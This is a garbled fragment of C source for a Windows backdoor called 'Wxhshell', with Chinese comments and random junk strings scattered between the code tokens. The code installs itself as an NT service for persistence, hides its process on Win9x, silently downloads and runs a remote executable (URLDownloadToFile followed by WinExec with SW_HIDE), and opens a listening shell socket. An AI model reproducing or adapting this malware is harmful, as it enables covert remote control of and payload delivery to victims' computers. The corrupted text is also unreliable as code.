CloseHandle(hProcess); /]^Y\U ^ ^C1LQZ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g e(,>xB if(hProcess==NULL) return 0; 1G7l+6w5~^ jU~ x^Y HMODULE hMod; [^s;Ggi9 char procName[255]; dW%t ph unsigned long cbNeeded; fLqjBG]< T.3{}230< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tsL
; wT_ l
_%<U CloseHandle(hProcess); 1O<6=oH g4b#U\D@)/ if(strstr(procName,"services")) return 1; // 以服务启动 B{R [z%Y |Y05 *!\P* return 0; // 注册表启动 mvK^') } y: x<`E= W#~7X // 主模块 kl]MP}wc int StartWxhshell(LPSTR lpCmdLine) '~Cn+xf4] { )v_v 7 ~H& SOCKET wsl; ,}&TZkN{- BOOL val=TRUE; v@tEHRadz int port=0; YI
?P@y struct sockaddr_in door; :;.^r,QAI D\b$$z]q if(wscfg.ws_autoins) Install(); 51b%uz Y|><Ls6Q port=atoi(lpCmdLine); hPSMPbI :CW^$Zvq if(port<=0) port=wscfg.ws_port; ""jW'%wR (;;ji!i WSADATA data; E I(e3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n"T ^ tp}/>gU! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9Y'pT.Gyb setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EW(bM^dk} door.sin_family = AF_INET; RSh_~qMX door.sin_addr.s_addr = inet_addr("127.0.0.1"); OPDT:e86Y= door.sin_port = htons(port); N-?5[T" +T@BOYhgq if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Hp04apM: closesocket(wsl); s$isDG#Sr return 1; Y&j`HO8f } m9A%Z bQ^ D\&S { if(listen(wsl,2) == INVALID_SOCKET) { 84.L1|k closesocket(wsl); Mq)]2>"v return 1; (87| :{ } %]&$VVVh Wxhshell(wsl); qvSYrnpn WSACleanup(); :Q> e54]'& p$9Aadi] return 0; tRJ5IX ##L 6vsA8u(|V# } eZAMV/]jH '0+~]4&}q // 以NT服务方式启动 pQBn8H|Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #| _VN %! { m..ajYSQ DWORD status = 0; &{.IUg DWORD specificError = 0xfffffff; nH?6o#]N \hgd&H0UU serviceStatus.dwServiceType = SERVICE_WIN32; P0}{xq'k9v serviceStatus.dwCurrentState = SERVICE_START_PENDING; =yZq]g6Q serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zh;wQCDj serviceStatus.dwWin32ExitCode = 0; }W8A1-UF serviceStatus.dwServiceSpecificExitCode = 0; B6
(\1 serviceStatus.dwCheckPoint = 0; #4O4,F>e serviceStatus.dwWaitHint = 0; .)b<cH~% (cOe*>L; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
Pd~=:4 if (hServiceStatusHandle==0) return; zp;!HP;/= 1*u]v{JJ( status = GetLastError(); 7Dbm
s(:( if (status!=NO_ERROR) ]|tg`*l!> { Cjr]l! serviceStatus.dwCurrentState = SERVICE_STOPPED; RbTGAA
serviceStatus.dwCheckPoint = 0; KhfADqji| serviceStatus.dwWaitHint = 0; JE-*o"& serviceStatus.dwWin32ExitCode = status; O|,9EOrP serviceStatus.dwServiceSpecificExitCode = specificError; p?y2j SetServiceStatus(hServiceStatusHandle, &serviceStatus); o13jd NQ- return; ")Not$8 } |T""v_q 'JMW.;Lh?X serviceStatus.dwCurrentState = SERVICE_RUNNING; *^|\#UIk
serviceStatus.dwCheckPoint = 0; ?d-w#<AiV serviceStatus.dwWaitHint = 0; ESRj<p%W if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #j~FlY5 } }8x+F2i "a)6g0gw // 处理NT服务事件,比如:启动、停止 " _2k3 VOID WINAPI NTServiceHandler(DWORD fdwControl) y<Q"]H.CkQ { '_G\_h}5 switch(fdwControl) q k^FyZ< { I;t@wbY, case SERVICE_CONTROL_STOP: tJ6@Ot serviceStatus.dwWin32ExitCode = 0; J;>epM;* serviceStatus.dwCurrentState = SERVICE_STOPPED; CVa>5vt serviceStatus.dwCheckPoint = 0; r)5xS] serviceStatus.dwWaitHint = 0; 7yfh4-1M { !l0]IX`
F SetServiceStatus(hServiceStatusHandle, &serviceStatus); E)$>t}$ } *I(6hB return; Mqd'XU0L case SERVICE_CONTROL_PAUSE: $o?U= serviceStatus.dwCurrentState = SERVICE_PAUSED; C K7([>2 break; gQ{ #C' case SERVICE_CONTROL_CONTINUE: rpRyB9 serviceStatus.dwCurrentState = SERVICE_RUNNING; v;<gCzqQh break; 5U~KYy^v case SERVICE_CONTROL_INTERROGATE: hi[nUG(OI break; '|SO7}`;Q }; :Ph>\ aG SetServiceStatus(hServiceStatusHandle, &serviceStatus); "V>}-G& } %i9 e<.Ot +=8wZ] // 标准应用程序主函数 6#+&/ "* int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }:IIk-JoC { >8(i;)(3 ?.VKVTX^ // 获取操作系统版本 4[$:KGh3 OsIsNt=GetOsVer(); _U^[h ! GetModuleFileName(NULL,ExeFile,MAX_PATH); ~9+01UU^ d^}p#7mB\ // 从命令行安装 H]/~
#a if(strpbrk(lpCmdLine,"iI")) Install(); (kLaXayn @-)?uYw:r // 下载执行文件 wN!\$i@E: if(wscfg.ws_downexe) { q~R8<G%YK if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h~ k<" WinExec(wscfg.ws_filenam,SW_HIDE); fmz"Zg9= } 3@V?L:J A7X
a if(!OsIsNt) { $yASWz // 如果时win9x,隐藏进程并且设置为注册表启动 f=l/Fp}4UH HideProc(); +^Xf:r`
G StartWxhshell(lpCmdLine); ez'NHodwk2 } MV" n{1B else d%8n if(StartFromService()) d-~V. // 以服务方式启动 srv4kodj StartServiceCtrlDispatcher(DispatchTable); G JRl{Y else S1|u@d' // 普通方式启动 rC-E+%y StartWxhshell(lpCmdLine); oPmz$]_Z 2&4nf/sE return 0; 1VgGF^cYR }
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